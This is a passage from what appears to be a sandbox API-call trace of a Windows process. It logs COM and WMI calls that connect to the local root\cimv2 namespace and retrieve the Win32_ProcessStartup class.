pToken=0x1b30c010) returned 0x0 [0119.418] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0119.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0119.418] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x2 [0119.418] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x1 [0119.418] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0119.418] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0119.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af760) returned 0x0 [0119.418] WbemDefPath:IUnknown:AddRef (This=0x1b4af760) returned 0x3 [0119.418] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x2 [0119.419] WbemDefPath:IWbemPath:SetText (This=0x1b4af760, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af760, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af760, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0119.419] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.419] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0119.419] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0119.419] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0119.419] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.420] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b45d310) returned 0x0 [0119.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0119.420] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d310, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4af9a0) returned 0x0 [0119.420] WbemDefPath:IUnknown:Release (This=0x1b45d310) returned 0x0 [0119.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4af9a0) returned 0x0 [0119.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0119.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0119.420] WbemDefPath:IUnknown:AddRef (This=0x1b4af9a0) returned 0x3 [0119.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0119.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0119.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b45cef0) returned 0x0 [0119.420] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cef0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.421] WbemDefPath:IUnknown:Release (This=0x1b45cef0) returned 0x3 [0119.421] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0119.421] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0119.421] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0119.421] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x2 [0119.421] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x1 [0119.421] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0119.421] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0119.421] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4af9a0) returned 0x0 [0119.421] WbemDefPath:IUnknown:AddRef (This=0x1b4af9a0) returned 0x3 [0119.421] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x2 [0119.421] WbemDefPath:IWbemPath:SetText (This=0x1b4af9a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0119.421] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0119.421] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0119.421] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.421] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0119.421] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0119.421] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0119.421] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.422] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b45cc90) returned 0x0 [0119.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cc90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0119.422] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b45cc90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b45cff0) returned 0x0 [0119.422] WbemLocator:IUnknown:Release (This=0x1b45cc90) returned 0x0 [0119.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b45cff0) returned 0x0 [0119.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0119.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0119.423] WbemLocator:IUnknown:AddRef (This=0x1b45cff0) returned 0x3 [0119.423] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0119.423] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0119.423] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0119.423] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0119.423] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0119.423] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0119.423] WbemLocator:IUnknown:Release (This=0x1b45cff0) returned 0x2 [0119.423] WbemLocator:IUnknown:Release (This=0x1b45cff0) returned 0x1 [0119.423] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0119.423] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0119.423] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b45cff0) returned 0x0 [0119.423] WbemLocator:IUnknown:AddRef (This=0x1b45cff0) returned 0x3 [0119.423] WbemLocator:IUnknown:Release (This=0x1b45cff0) returned 0x2 [0119.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0119.423] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0119.423] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.423] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b45d110) returned 0x0 [0119.423] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b45d110, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4ce680) returned 0x0 [0119.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce680, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b5104f0) returned 0x0 [0119.959] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b5104f0, pProxy=0x1b4ce680, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0119.959] WbemLocator:IUnknown:Release (This=0x1b5104f0) returned 0x1 [0119.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce680, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b510538) returned 0x0 [0119.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce680, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b5104f0) returned 0x0 [0119.959] WbemLocator:IClientSecurity:SetBlanket (This=0x1b5104f0, pProxy=0x1b4ce680, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0119.960] WbemLocator:IUnknown:Release (This=0x1b5104f0) returned 0x2 [0119.960] WbemLocator:IUnknown:Release (This=0x1b510538) returned 0x1 [0119.960] CoTaskMemFree (pv=0x1b461a60) [0119.960] WbemLocator:IUnknown:Release (This=0x1b45d110) returned 0x0 [0119.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce680, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b510538) returned 0x0 [0119.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510538, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0119.962] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510538, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0120.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce680, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0120.011] WbemLocator:IUnknown:AddRef (This=0x1b510538) returned 0x3 [0120.011] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510538, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0120.011] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510538, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0120.011] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510538, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b510418) returned 0x0 [0120.011] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510418, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.011] WbemLocator:IUnknown:Release (This=0x1b510418) returned 0x3 [0120.011] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0120.012] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0120.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510538, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b510500) returned 0x0 [0120.012] WbemLocator:IRpcOptions:Query (in: This=0x1b510500, pPrx=0x1b510538, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0120.012] WbemLocator:IUnknown:Release (This=0x1b510500) returned 0x3 [0120.012] WbemLocator:IUnknown:Release (This=0x1b510538) returned 0x2 [0120.012] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0120.012] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0120.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510538, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4ce680) returned 0x0 [0120.012] WbemLocator:IUnknown:AddRef (This=0x1b4ce680) returned 0x4 [0120.012] WbemLocator:IUnknown:Release (This=0x1b4ce680) returned 0x3 [0120.012] WbemLocator:IUnknown:Release (This=0x1b4ce680) returned 0x2 [0120.012] SysStringLen (param_1=0x0) returned 0x0 [0120.012] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0120.012] WbemLocator:IUnknown:AddRef (This=0x1b510538) returned 0x3 [0120.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510538, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b510538) returned 0x0 [0120.013] WbemLocator:IUnknown:Release (This=0x1b510538) returned 0x3 [0120.013] WbemLocator:IUnknown:Release (This=0x1b510538) returned 0x2 [0120.013] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0120.013] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0120.013] IWbemServices:GetObject (in: This=0x1b4ce680, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d7590, ppCallResult=0x0) returned 0x0 [0120.017] IWbemClassObject:Get (in: This=0x1b4d7590, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), 